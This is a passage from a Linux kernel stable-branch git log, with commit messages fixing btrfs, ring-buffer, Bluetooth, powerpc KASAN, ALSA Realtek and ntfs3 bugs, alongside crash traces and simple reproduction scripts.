[589.565] ? __die_body+0x1b/0x60 [589.565] ? die+0x39/0x60 [589.565] ? do_trap+0xeb/0x110 [589.565] ? btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.566] ? do_error_trap+0x6a/0x90 [589.566] ? btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.566] ? exc_invalid_op+0x4e/0x70 [589.566] ? btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.567] ? asm_exc_invalid_op+0x16/0x20 [589.567] ? btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.567] ? btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.567] close_ctree+0x35d/0x560 [btrfs] [589.568] ? fsnotify_sb_delete+0x13e/0x1d0 [589.568] ? dispose_list+0x3a/0x50 [589.568] ? evict_inodes+0x151/0x1a0 [589.568] generic_shutdown_super+0x73/0x1a0 [589.569] kill_anon_super+0x14/0x30 [589.569] btrfs_kill_super+0x12/0x20 [btrfs] [589.569] deactivate_locked_super+0x2e/0x70 [589.569] cleanup_mnt+0x104/0x160 [589.570] task_work_run+0x56/0x90 [589.570] exit_to_user_mode_prepare+0x160/0x170 [589.570] syscall_exit_to_user_mode+0x22/0x50 [589.570] ? __x64_sys_umount+0x12/0x20 [589.571] do_syscall_64+0x48/0x90 [589.571] entry_SYSCALL_64_after_hwframe+0x72/0xdc [589.571] RIP: 0033:0x7f497ff0a567 [589.571] Code: af 98 0e (...) [589.572] RSP: 002b:00007ffc98347358 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6 [589.572] RAX: 0000000000000000 RBX: 00007f49800b8264 RCX: 00007f497ff0a567 [589.572] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000557f558abfa0 [589.573] RBP: 0000557f558a6ba0 R08: 0000000000000000 R09: 00007ffc98346100 [589.573] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 [589.573] R13: 0000557f558abfa0 R14: 0000557f558a6cb0 R15: 0000557f558a6dd0 [589.573] [589.574] Modules linked in: dm_snapshot dm_thin_pool (...) [589.576] ---[ end trace 0000000000000000 ]--- Fix this by adding a runtime flag to the block group to tell that the block group is still in the list of new block groups, and therefore it should not be moved to the list of unused block groups, at btrfs_mark_bg_unused(), until the flag is cleared, when we finish the creation of the block group at btrfs_create_pending_block_groups(). Fixes: a9f189716cf1 ("btrfs: move out now unused BG from the reclaim list") CC: stable@vger.kernel.org # 5.15+ Signed-off-by: Filipe Manana Signed-off-by: David Sterba Signed-off-by: Sasha Levin commit 5d19abcffd8404078dfa7d7118cec357b5e7bc58 Author: Naohiro Aota Date: Tue Jun 6 14:36:34 2023 +0900 btrfs: move out now unused BG from the reclaim list [ Upstream commit a9f189716cf15913c453299d72f69c51a9b0f86b ] An unused block group is easy to remove to free up space and should be reclaimed fast. Such block group can often already be a target of the reclaim process. As we check list_empty(&bg->bg_list), we keep it in the reclaim list. That block group is never reclaimed until the file system is filled e.g. up to 75%. Instead, we can move unused block group to the unused list and delete it fast. Fixes: 18bb8bbf13c1 ("btrfs: zoned: automatically reclaim zones") CC: stable@vger.kernel.org # 5.15+ Reviewed-by: Filipe Manana Reviewed-by: Johannes Thumshirn Signed-off-by: Naohiro Aota Signed-off-by: David Sterba Signed-off-by: Sasha Levin commit 02e52d7daaa3f0f48819f198092cf4871065bbf7 Author: Chen Lin Date: Wed Jul 19 15:58:47 2023 +0800 ring-buffer: Do not swap cpu_buffer during resize process [ Upstream commit 8a96c0288d0737ad77882024974c075345c72011 ] When ring_buffer_swap_cpu was called during resize process, the cpu buffer was swapped in the middle, resulting in incorrect state. Continuing to run in the wrong state will result in oops. This issue can be easily reproduced using the following two scripts: /tmp # cat test1.sh //#! /bin/sh for i in `seq 0 100000` do echo 2000 > /sys/kernel/debug/tracing/buffer_size_kb sleep 0.5 echo 5000 > /sys/kernel/debug/tracing/buffer_size_kb sleep 0.5 done /tmp # cat test2.sh //#! /bin/sh for i in `seq 0 100000` do echo irqsoff > /sys/kernel/debug/tracing/current_tracer sleep 1 echo nop > /sys/kernel/debug/tracing/current_tracer sleep 1 done /tmp # ./test1.sh & /tmp # ./test2.sh & A typical oops log is as follows, sometimes with other different oops logs. [ 231.711293] WARNING: CPU: 0 PID: 9 at kernel/trace/ring_buffer.c:2026 rb_update_pages+0x378/0x3f8 [ 231.713375] Modules linked in: [ 231.714735] CPU: 0 PID: 9 Comm: kworker/0:1 Tainted: G W 6.5.0-rc1-00276-g20edcec23f92 #15 [ 231.716750] Hardware name: linux,dummy-virt (DT) [ 231.718152] Workqueue: events update_pages_handler [ 231.719714] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 231.721171] pc : rb_update_pages+0x378/0x3f8 [ 231.722212] lr : rb_update_pages+0x25c/0x3f8 [ 231.723248] sp : ffff800082b9bd50 [ 231.724169] x29: ffff800082b9bd50 x28: ffff8000825f7000 x27: 0000000000000000 [ 231.726102] x26: 0000000000000001 x25: fffffffffffff010 x24: 0000000000000ff0 [ 231.728122] x23: ffff0000c3a0b600 x22: ffff0000c3a0b5c0 x21: fffffffffffffe0a [ 231.730203] x20: ffff0000c3a0b600 x19: ffff0000c0102400 x18: 0000000000000000 [ 231.732329] x17: 0000000000000000 x16: 0000000000000000 x15: 0000ffffe7aa8510 [ 231.734212] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000002 [ 231.736291] x11: ffff8000826998a8 x10: ffff800082b9baf0 x9 : ffff800081137558 [ 231.738195] x8 : fffffc00030e82c8 x7 : 0000000000000000 x6 : 0000000000000001 [ 231.740192] x5 : ffff0000ffbafe00 x4 : 0000000000000000 x3 : 0000000000000000 [ 231.742118] x2 : 00000000000006aa x1 : 0000000000000001 x0 : ffff0000c0007208 [ 231.744196] Call trace: [ 231.744892] rb_update_pages+0x378/0x3f8 [ 231.745893] update_pages_handler+0x1c/0x38 [ 231.746893] process_one_work+0x1f0/0x468 [ 231.747852] worker_thread+0x54/0x410 [ 231.748737] kthread+0x124/0x138 [ 231.749549] ret_from_fork+0x10/0x20 [ 231.750434] ---[ end trace 0000000000000000 ]--- [ 233.720486] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 [ 233.721696] Mem abort info: [ 233.721935] ESR = 0x0000000096000004 [ 233.722283] EC = 0x25: DABT (current EL), IL = 32 bits [ 233.722596] SET = 0, FnV = 0 [ 233.722805] EA = 0, S1PTW = 0 [ 233.723026] FSC = 0x04: level 0 translation fault [ 233.723458] Data abort info: [ 233.723734] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 [ 233.724176] CM = 0, WnR = 0, TnD = 0, TagAccess = 0 [ 233.724589] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 [ 233.725075] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000104943000 [ 233.725592] [0000000000000000] pgd=0000000000000000, p4d=0000000000000000 [ 233.726231] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP [ 233.726720] Modules linked in: [ 233.727007] CPU: 0 PID: 9 Comm: kworker/0:1 Tainted: G W 6.5.0-rc1-00276-g20edcec23f92 #15 [ 233.727777] Hardware name: linux,dummy-virt (DT) [ 233.728225] Workqueue: events update_pages_handler [ 233.728655] pstate: 200000c5 (nzCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 233.729054] pc : rb_update_pages+0x1a8/0x3f8 [ 233.729334] lr : rb_update_pages+0x154/0x3f8 [ 233.729592] sp : ffff800082b9bd50 [ 233.729792] x29: ffff800082b9bd50 x28: ffff8000825f7000 x27: 0000000000000000 [ 233.730220] x26: 0000000000000000 x25: ffff800082a8b840 x24: ffff0000c0102418 [ 233.730653] x23: 0000000000000000 x22: fffffc000304c880 x21: 0000000000000003 [ 233.731105] x20: 00000000000001f4 x19: ffff0000c0102400 x18: ffff800082fcbc58 [ 233.731727] x17: 0000000000000000 x16: 0000000000000001 x15: 0000000000000001 [ 233.732282] x14: ffff8000825fe0c8 x13: 0000000000000001 x12: 0000000000000000 [ 233.732709] x11: ffff8000826998a8 x10: 0000000000000ae0 x9 : ffff8000801b760c [ 233.733148] x8 : fefefefefefefeff x7 : 0000000000000018 x6 : ffff0000c03298c0 [ 233.733553] x5 : 0000000000000002 x4 : 0000000000000000 x3 : 0000000000000000 [ 233.733972] x2 : ffff0000c3a0b600 x1 : 0000000000000000 x0 : 0000000000000000 [ 233.734418] Call trace: [ 233.734593] rb_update_pages+0x1a8/0x3f8 [ 233.734853] update_pages_handler+0x1c/0x38 [ 233.735148] process_one_work+0x1f0/0x468 [ 233.735525] worker_thread+0x54/0x410 [ 233.735852] kthread+0x124/0x138 [ 233.736064] ret_from_fork+0x10/0x20 [ 233.736387] Code: 92400000 910006b5 aa000021 aa0303f7 (f9400060) [ 233.736959] ---[ end trace 0000000000000000 ]--- After analysis, the seq of the error is as follows [1-5]: int ring_buffer_resize(struct trace_buffer *buffer, unsigned long size, int cpu_id) { for_each_buffer_cpu(buffer, cpu) { cpu_buffer = buffer->buffers[cpu]; //1. get cpu_buffer, aka cpu_buffer(A) ... ... schedule_work_on(cpu, &cpu_buffer->update_pages_work); //2. 'update_pages_work' is queue on 'cpu', cpu_buffer(A) is passed to // update_pages_handler, do the update process, set 'update_done' in // complete(&cpu_buffer->update_done) and to wakeup resize process. //----> //3. Just at this moment, ring_buffer_swap_cpu is triggered, //cpu_buffer(A) be swaped to cpu_buffer(B), the max_buffer. //ring_buffer_swap_cpu is called as the 'Call trace' below. Call trace: dump_backtrace+0x0/0x2f8 show_stack+0x18/0x28 dump_stack+0x12c/0x188 ring_buffer_swap_cpu+0x2f8/0x328 update_max_tr_single+0x180/0x210 check_critical_timing+0x2b4/0x2c8 tracer_hardirqs_on+0x1c0/0x200 trace_hardirqs_on+0xec/0x378 el0_svc_common+0x64/0x260 do_el0_svc+0x90/0xf8 el0_svc+0x20/0x30 el0_sync_handler+0xb0/0xb8 el0_sync+0x180/0x1c0 //<---- /* wait for all the updates to complete */ for_each_buffer_cpu(buffer, cpu) { cpu_buffer = buffer->buffers[cpu]; //4. get cpu_buffer, cpu_buffer(B) is used in the following process, //the state of cpu_buffer(A) and cpu_buffer(B) is totally wrong. //for example, cpu_buffer(A)->update_done will leave be set 1, and will //not 'wait_for_completion' at the next resize round. if (!cpu_buffer->nr_pages_to_update) continue; if (cpu_online(cpu)) wait_for_completion(&cpu_buffer->update_done); cpu_buffer->nr_pages_to_update = 0; } ... } //5. the state of cpu_buffer(A) and cpu_buffer(B) is totally wrong, //Continuing to run in the wrong state, then oops occurs. Link: https://lore.kernel.org/linux-trace-kernel/202307191558478409990@zte.com.cn Signed-off-by: Chen Lin Signed-off-by: Steven Rostedt (Google) Signed-off-by: Sasha Levin commit f2b06472be43b0e1e2148a170c3ed2da3a96181f Author: Andy Shevchenko Date: Mon Jul 17 12:32:14 2023 +0300 Bluetooth: MGMT: Use correct address for memcpy() [ Upstream commit d1f0a9816f5fbc1316355ec1aa4ddfb9b624cca5 ] In function ‘fortify_memcpy_chk’, inlined from ‘get_conn_info_complete’ at net/bluetooth/mgmt.c:7281:2: include/linux/fortify-string.h:592:25: error: call to ‘__read_overflow2_field’ declared with attribute warning: detected read beyond size of field (2nd parameter); maybe use struct_group()? [-Werror=attribute-warning] 592 | __read_overflow2_field(q_size_field, size); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cc1: all warnings being treated as errors This is due to the wrong member is used for memcpy(). Use correct one. Signed-off-by: Andy Shevchenko Signed-off-by: Luiz Augusto von Dentz Signed-off-by: Sasha Levin commit 3cecad9f4b81852292e4d9bd237c5a3a878019d7 Author: Benjamin Gray Date: Mon Jul 10 14:41:43 2023 +1000 powerpc/kasan: Disable KCOV in KASAN code [ Upstream commit ccb381e1af1ace292153c88eb1fffa5683d16a20 ] As per the generic KASAN code in mm/kasan, disable KCOV with KCOV_INSTRUMENT := n in the makefile. This fixes a ppc64 boot hang when KCOV and KASAN are enabled. kasan_early_init() gets called before a PACA is initialised, but the KCOV hook expects a valid PACA. Suggested-by: Christophe Leroy Signed-off-by: Benjamin Gray Signed-off-by: Michael Ellerman Link: https://msgid.link/20230710044143.146840-1-bgray@linux.ibm.com Signed-off-by: Sasha Levin commit 3447bfd9d5d17114691ead97bce025a450de89b6 Author: Luke D. Jones Date: Fri Jul 7 10:33:23 2023 +1200 ALSA: hda/realtek: Add quirk for ASUS ROG GZ301V [ Upstream commit 5251605f4d297a0eb5d3b7f39f9dcee9e4d0115a ] Adds the required quirk to enable the Cirrus amp and correct pins on the ASUS ROG GZ301V series which uses an SPI connected Cirrus amp. While this works if the related _DSD properties are made available, these aren't included in the ACPI of these laptops (yet). Signed-off-by: Luke D. Jones Link: https://lore.kernel.org/r/20230706223323.30871-2-luke@ljones.dev Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 6e8d944d9e609585daa10b85f390c76ab22fa3e2 Author: Luke D. Jones Date: Tue Jul 4 16:46:18 2023 +1200 ALSA: hda/realtek: Add quirk for ASUS ROG G614Jx [ Upstream commit 33d7c9c3bf70ed91191a2bedbbc03783b824b5de ] Adds the required quirk to enable the Cirrus amp and correct pins on the ASUS ROG G614J series which uses an SPI connected Cirrus amp. While this works if the related _DSD properties are made available, these aren't included in the ACPI of these laptops (yet). Signed-off-by: Luke D. Jones Link: https://lore.kernel.org/r/20230704044619.19343-5-luke@ljones.dev Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 345fa36353da63ece759b1e4a4bac92b575f55e9 Author: Luke D. Jones Date: Tue Jul 4 16:46:17 2023 +1200 ALSA: hda/realtek: Amend G634 quirk to enable rear speakers [ Upstream commit b759a5f097cd42c666f1ebca8da50ff507435fbe ] Amends the last quirk for the G634 with 0x1caf subsys to enable the rear speakers via pincfg. Signed-off-by: Luke D. Jones Link: https://lore.kernel.org/r/20230704044619.19343-4-luke@ljones.dev Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit cd7bee74ed638b273a12d1f8e48bc06f6d96491c Author: Luke D. Jones Date: Tue Jul 4 16:46:16 2023 +1200 ALSA: hda/realtek: Add quirk for ASUS ROG GA402X [ Upstream commit 9abc77fb144fe916fd2f592dc4b8c7bade02e58a ] Adds the required quirk to enable the Cirrus amp and correct pins on the ASUS ROG GA402X series which uses an I2C connected Cirrus amp. While this works if the related _DSD properties are made available, these aren't included in the ACPI of these laptops (yet). Signed-off-by: Luke D. Jones Link: https://lore.kernel.org/r/20230704044619.19343-3-luke@ljones.dev Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 485cbcb5089dea567b3a092a234ed935a581ca38 Author: Luke D. Jones Date: Tue Jul 4 16:46:15 2023 +1200 ALSA: hda/realtek: Add quirk for ASUS ROG GX650P [ Upstream commit 8cc87c055d28320e5fa5457922f43bc07dec58bd ] Adds the required quirk to enable the Cirrus amp and correct pins on the ASUS ROG GV601V series which uses an I2C connected Cirrus amp. While this works if the related _DSD properties are made available, these aren't included in the ACPI of these laptops (yet). Signed-off-by: Luke D. Jones Link: https://lore.kernel.org/r/20230704044619.19343-2-luke@ljones.dev Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit b32e40379e5b2814de0c4bc199edc2d82317dc07 Author: Tuo Li Date: Mon Jul 3 11:10:16 2023 +0800 ALSA: hda: fix a possible null-pointer dereference due to data race in snd_hdac_regmap_sync() [ Upstream commit 1f4a08fed450db87fbb5ff5105354158bdbe1a22 ] The variable codec->regmap is often protected by the lock codec->regmap_lock when is accessed. However, it is accessed without holding the lock when is accessed in snd_hdac_regmap_sync(): if (codec->regmap) In my opinion, this may be a harmful race, because if codec->regmap is set to NULL right after the condition is checked, a null-pointer dereference can occur in the called function regcache_sync(): map->lock(map->lock_arg); --> Line 360 in drivers/base/regmap/regcache.c To fix this possible null-pointer dereference caused by data race, the mutex_lock coverage is extended to protect the if statement as well as the function call to regcache_sync(). [ Note: the lack of the regmap_lock itself is harmless for the current codec driver implementations, as snd_hdac_regmap_sync() is only for PM runtime resume that is prohibited during the codec probe. But the change makes the whole code more consistent, so it's merged as is -- tiwai ] Reported-by: BassCheck Signed-off-by: Tuo Li Link: https://lore.kernel.org/r/20230703031016.1184711-1-islituo@gmail.com Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 472b6955ec2c821973556fd9c991ae8b7aaec175 Author: dengxiang Date: Mon Jul 3 10:17:51 2023 +0800 ALSA: hda/realtek: Add quirks for Unis H3C Desktop B760 & Q760 [ Upstream commit 73f1c75d5e6bd8ce2a887ef493a66ad1b16ed704 ] These models use NSIWAY amplifiers for internal speaker, but cannot put sound outside from these amplifiers. So eapd verbs are needed to initialize the amplifiers. They can be added during boot to get working sound out of internal speaker. Signed-off-by: dengxiang Link: https://lore.kernel.org/r/20230703021751.2945750-1-dengxiang@nfschina.com Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit ec904a70e02a28e7bf60035e0d2ec0ac69f0c1d7 Author: Konstantin Komarov Date: Mon May 8 11:56:13 2023 +0400 fs/ntfs3: Alternative boot if primary boot is corrupted [ Upstream commit 6a4cd3ea7d771be17177d95ff67d22cfa2a38b50 ] Some code refactoring added also. Signed-off-by: Konstantin Komarov Signed-off-by: Sasha Levin commit 209b0468acea5d0215eca61832d37d737a3a293f Author: Konstantin Komarov Date: Mon May 8 11:36:28 2023 +0400 fs/ntfs3: Mark ntfs dirty when on-disk struct is corrupted [ Upstream commit e0f363a98830e8d7d70fbaf91c07ae0b7c57aafe ] Signed-off-by: Konstantin Komarov Signed-off-by: Sasha Levin commit c5d39f001526eafe85e329a5c2d8baa80f417416 Author: Jia-Ju Bai Date: Tue Mar 21 21:22:11 2023 +0800 fs: ntfs3: Fix possible null-pointer dereferences in mi_read() [ Upstream commit 97498cd610c0d030a7bd49a7efad974790661162 ] In a previous commit 2681631c2973 ("fs/ntfs3: Add null pointer check to attr_load_runs_vcn"), ni can be NULL in attr_load_runs_vcn(), and thus it should be checked before being used. However, in the call stack of this commit, mft_ni in mi_read() is aliased with ni in attr_load_runs_vcn(), and it is also used in mi_read() at two places: mi_read() rw_lock = &mft_ni->file.run_lock -> No check attr_load_runs_vcn(mft_ni, ...) ni (namely mft_ni) is checked in the previous commit attr_load_runs_vcn(..., &mft_ni->file.run) -> No check Thus, to avoid possible null-pointer dereferences, the related checks should be added. These bugs are reported by a static analysis tool implemented by myself, and they are found by extending a known bug fixed in the previous commit. Thus, they could be theoretical bugs. Signed-off-by: Jia-Ju Bai Signed-off-by: Konstantin Komarov Signed-off-by: Sasha Levin commit 1474098b590a426d90f27bb992f17c326e0b60c1 Author: Edward Lo Date: Fri Mar 17 18:23:03 2023 +0800 fs/ntfs3: Return error for inconsistent extended attributes [ Upstream commit c9db0ff04649aa0b45f497183c957fe260f229f6 ] ntfs_read_ea is called when we want to read extended attributes. There are some sanity checks for the validity of the EAs. However, it fails to return a proper error code for the inconsistent attributes, which might lead to unpredicted memory accesses after return. [ 138.916927] BUG: KASAN: use-after-free in ntfs_set_ea+0x453/0xbf0 [ 138.923876] Write of size 4 at addr ffff88800205cfac by task poc/199 [ 138.931132] [ 138.933016] CPU: 0 PID: 199 Comm: poc Not tainted 6.2.0-rc1+ #4 [ 138.938070] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 138.947327] Call Trace: [ 138.949557] [ 138.951539] dump_stack_lvl+0x4d/0x67 [ 138.956834] print_report+0x16f/0x4a6 [ 138.960798] ? ntfs_set_ea+0x453/0xbf0 [ 138.964437] ? kasan_complete_mode_report_info+0x7d/0x200 [ 138.969793] ? ntfs_set_ea+0x453/0xbf0 [ 138.973523] kasan_report+0xb8/0x140 [ 138.976740] ? ntfs_set_ea+0x453/0xbf0 [ 138.980578] __asan_store4+0x76/0xa0 [ 138.984669] ntfs_set_ea+0x453/0xbf0 [ 138.988115] ? __pfx_ntfs_set_ea+0x10/0x10 [ 138.993390] ? kernel_text_address+0xd3/0xe0 [ 138.998270] ? __kernel_text_address+0x16/0x50 [ 139.002121] ? unwind_get_return_address+0x3e/0x60 [ 139.005659] ? __pfx_stack_trace_consume_entry+0x10/0x10 [ 139.010177] ? arch_stack_walk+0xa2/0x100 [ 139.013657] ? filter_irq_stacks+0x27/0x80 [ 139.017018] ntfs_setxattr+0x405/0x440 [ 139.022151] ? __pfx_ntfs_setxattr+0x10/0x10 [ 139.026569] ? kvmalloc_node+0x2d/0x120 [ 139.030329] ? kasan_save_stack+0x41/0x60 [ 139.033883] ? kasan_save_stack+0x2a/0x60 [ 139.037338] ? kasan_set_track+0x29/0x40 [ 139.040163] ? kasan_save_alloc_info+0x1f/0x30 [ 139.043588] ? __kasan_kmalloc+0x8b/0xa0 [ 139.047255] ? __kmalloc_node+0x68/0x150 [ 139.051264] ? kvmalloc_node+0x2d/0x120 [ 139.055301] ? vmemdup_user+0x2b/0xa0 [ 139.058584] __vfs_setxattr+0x121/0x170 [ 139.062617] ? __pfx___vfs_setxattr+0x10/0x10 [ 139.066282] __vfs_setxattr_noperm+0x97/0x300 [ 139.070061] __vfs_setxattr_locked+0x145/0x170 [ 139.073580] vfs_setxattr+0x137/0x2a0 [ 139.076641] ? __pfx_vfs_setxattr+0x10/0x10 [ 139.080223] ? __kasan_check_write+0x18/0x20 [ 139.084234] do_setxattr+0xce/0x150 [ 139.087768] setxattr+0x126/0x140 [ 139.091250] ? __pfx_setxattr+0x10/0x10 [ 139.094948] ? __virt_addr_valid+0xcb/0x140 [ 139.097838] ? __call_rcu_common.constprop.0+0x1c7/0x330 [ 139.102688] ? debug_smp_processor_id+0x1b/0x30 [ 139.105985] ? kasan_quarantine_put+0x5b/0x190 [ 139.109980] ? putname+0x84/0xa0 [ 139.113886] ? __kasan_slab_free+0x11e/0x1b0 [ 139.117961] ? putname+0x84/0xa0 [ 139.121316] ? preempt_count_sub+0x1c/0xd0 [ 139.124427] ? __mnt_want_write+0xae/0x100 [ 139.127836] ? mnt_want_write+0x8f/0x150 [ 139.130954] path_setxattr+0x164/0x180 [ 139.133998] ? __pfx_path_setxattr+0x10/0x10 [ 139.137853] ? __pfx_ksys_pwrite64+0x10/0x10 [ 139.141299] ? debug_smp_processor_id+0x1b/0x30 [ 139.145714] ? fpregs_assert_state_consistent+0x6b/0x80 [ 139.150796] __x64_sys_setxattr+0x71/0x90 [ 139.155407] do_syscall_64+0x3f/0x90 [ 139.159035] entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 139.163843] RIP: 0033:0x7f108cae4469 [ 139.166481] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 088 [ 139.183764] RSP: 002b:00007fff87588388 EFLAGS: 00000286 ORIG_RAX: 00000000000000bc [ 139.190657] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f108cae4469 [ 139.196586] RDX: 00007fff875883b0 RSI: 00007fff875883d1 RDI: 00007fff875883b6 [ 139.201716] RBP: 00007fff8758c530 R08: 0000000000000001 R09: 00007fff8758c618 [ 139.207940] R10: 0000000000000006 R11: 0000000000000286 R12: 00000000004004c0 [ 139.214007] R13: 00007fff8758c610 R14: 0000000000000000 R15: 0000000000000000 Signed-off-by: Edward Lo Signed-off-by: Konstantin Komarov Signed-off-by: Sasha Levin commit 64fab8bce5237ca225ee1ec9dff5cc8c31b0631f Author: Edward Lo Date: Thu Mar 16 10:56:55 2023 +0800 fs/ntfs3: Enhance sanity check while generating attr_list [ Upstream commit fdec309c7672cbee4dc0229ee4cbb33c948a1bdd ] ni_create_attr_list uses WARN_ON to catch error cases while generating attribute list, which only prints out stack trace and may not be enough. This repalces them with more proper error handling flow. [ 59.666332] BUG: kernel NULL pointer dereference, address: 000000000000000e [ 59.673268] #PF: supervisor read access in kernel mode [ 59.678354] #PF: error_code(0x0000) - not-present page [ 59.682831] PGD 8000000005ff1067 P4D 8000000005ff1067 PUD 7dee067 PMD 0 [ 59.688556] Oops: 0000 [#1] PREEMPT SMP KASAN PTI [ 59.692642] CPU: 0 PID: 198 Comm: poc Tainted: G B W 6.2.0-rc1+ #4 [ 59.698868] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 59.708795] RIP: 0010:ni_create_attr_list+0x505/0x860 [ 59.713657] Code: 7e 10 e8 5e d0 d0 ff 45 0f b7 76 10 48 8d 7b 16 e8 00 d1 d0 ff 66 44 89 73 16 4d 8d 75 0e 4c 89 f7 e8 3f d0 d0 ff 4c 8d8 [ 59.731559] RSP: 0018:ffff88800a56f1e0 EFLAGS: 00010282 [ 59.735691] RAX: 0000000000000001 RBX: ffff88800b7b5088 RCX: ffffffffb83079fe [ 59.741792] RDX: 0000000000000001 RSI: 0000000000000008 RDI: ffffffffbb7f9fc0 [ 59.748423] RBP: ffff88800a56f3a8 R08: ffff88800b7b50a0 R09: fffffbfff76ff3f9 [ 59.754654] R10: ffffffffbb7f9fc7 R11: fffffbfff76ff3f8 R12: ffff88800b756180 [ 59.761552] R13: 0000000000000000 R14: 000000000000000e R15: 0000000000000050 [ 59.768323] FS: 00007feaa8c96440(0000) GS:ffff88806d400000(0000) knlGS:0000000000000000 [ 59.776027] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 59.781395] CR2: 00007f3a2e0b1000 CR3: 000000000a5bc000 CR4: 00000000000006f0 [ 59.787607] Call Trace: [ 59.790271] [ 59.792488] ? __pfx_ni_create_attr_list+0x10/0x10 [ 59.797235] ? kernel_text_address+0xd3/0xe0 [ 59.800856] ? unwind_get_return_address+0x3e/0x60 [ 59.805101] ? __kasan_check_write+0x18/0x20 [ 59.809296] ? preempt_count_sub+0x1c/0xd0 [ 59.813421] ni_ins_attr_ext+0x52c/0x5c0 [ 59.817034] ? __pfx_ni_ins_attr_ext+0x10/0x10 [ 59.821926] ? __vfs_setxattr+0x121/0x170 [ 59.825718] ? __vfs_setxattr_noperm+0x97/0x300 [ 59.829562] ? __vfs_setxattr_locked+0x145/0x170 [ 59.833987] ? vfs_setxattr+0x137/0x2a0 [ 59.836732] ? do_setxattr+0xce/0x150 [ 59.839807] ? setxattr+0x126/0x140 [ 59.842353] ? path_setxattr+0x164/0x180 [ 59.845275] ? __x64_sys_setxattr+0x71/0x90 [ 59.848838] ? do_syscall_64+0x3f/0x90 [ 59.851898] ? entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 59.857046] ? stack_depot_save+0x17/0x20 [ 59.860299] ni_insert_attr+0x1ba/0x420 [ 59.863104] ? __pfx_ni_insert_attr+0x10/0x10 [ 59.867069] ? preempt_count_sub+0x1c/0xd0 [ 59.869897] ? _raw_spin_unlock_irqrestore+0x2b/0x50 [ 59.874088] ? __create_object+0x3ae/0x5d0 [ 59.877865] ni_insert_resident+0xc4/0x1c0 [ 59.881430] ? __pfx_ni_insert_resident+0x10/0x10 [ 59.886355] ? kasan_save_alloc_info+0x1f/0x30 [ 59.891117] ? __kasan_kmalloc+0x8b/0xa0 [ 59.894383] ntfs_set_ea+0x90d/0xbf0 [ 59.897703] ? __pfx_ntfs_set_ea+0x10/0x10 [ 59.901011] ? kernel_text_address+0xd3/0xe0 [ 59.905308] ? __kernel_text_address+0x16/0x50 [ 59.909811] ? unwind_get_return_address+0x3e/0x60 [ 59.914898] ? __pfx_stack_trace_consume_entry+0x10/0x10 [ 59.920250] ? arch_stack_walk+0xa2/0x100 [ 59.924560] ? filter_irq_stacks+0x27/0x80 [ 59.928722] ntfs_setxattr+0x405/0x440 [ 59.932512] ? __pfx_ntfs_setxattr+0x10/0x10 [ 59.936634] ? kvmalloc_node+0x2d/0x120 [ 59.940378] ? kasan_save_stack+0x41/0x60 [ 59.943870] ? kasan_save_stack+0x2a/0x60 [ 59.947719] ? kasan_set_track+0x29/0x40 [ 59.951417] ? kasan_save_alloc_info+0x1f/0x30 [ 59.955733] ? __kasan_kmalloc+0x8b/0xa0 [ 59.959598] ? __kmalloc_node+0x68/0x150 [ 59.963163] ? kvmalloc_node+0x2d/0x120 [ 59.966490] ? vmemdup_user+0x2b/0xa0 [ 59.969060] __vfs_setxattr+0x121/0x170 [ 59.972456] ? __pfx___vfs_setxattr+0x10/0x10 [ 59.976008] __vfs_setxattr_noperm+0x97/0x300 [ 59.981562] __vfs_setxattr_locked+0x145/0x170 [ 59.986100] vfs_setxattr+0x137/0x2a0 [ 59.989964] ? __pfx_vfs_setxattr+0x10/0x10 [ 59.993616] ? __kasan_check_write+0x18/0x20 [ 59.997425] do_setxattr+0xce/0x150 [ 60.000304] setxattr+0x126/0x140 [ 60.002967] ? __pfx_setxattr+0x10/0x10 [ 60.006471] ? __virt_addr_valid+0xcb/0x140 [ 60.010461] ? __call_rcu_common.constprop.0+0x1c7/0x330 [ 60.016037] ? debug_smp_processor_id+0x1b/0x30 [ 60.021008] ? kasan_quarantine_put+0x5b/0x190 [ 60.025545] ? putname+0x84/0xa0 [ 60.027910] ? __kasan_slab_free+0x11e/0x1b0 [ 60.031483] ? putname+0x84/0xa0 [ 60.033986] ? preempt_count_sub+0x1c/0xd0 [ 60.036876] ? __mnt_want_write+0xae/0x100 [ 60.040738] ? mnt_want_write+0x8f/0x150 [ 60.044317] path_setxattr+0x164/0x180 [ 60.048096] ? __pfx_path_setxattr+0x10/0x10 [ 60.052096] ? strncpy_from_user+0x175/0x1c0 [ 60.056482] ? debug_smp_processor_id+0x1b/0x30 [ 60.059848] ? fpregs_assert_state_consistent+0x6b/0x80 [ 60.064557] 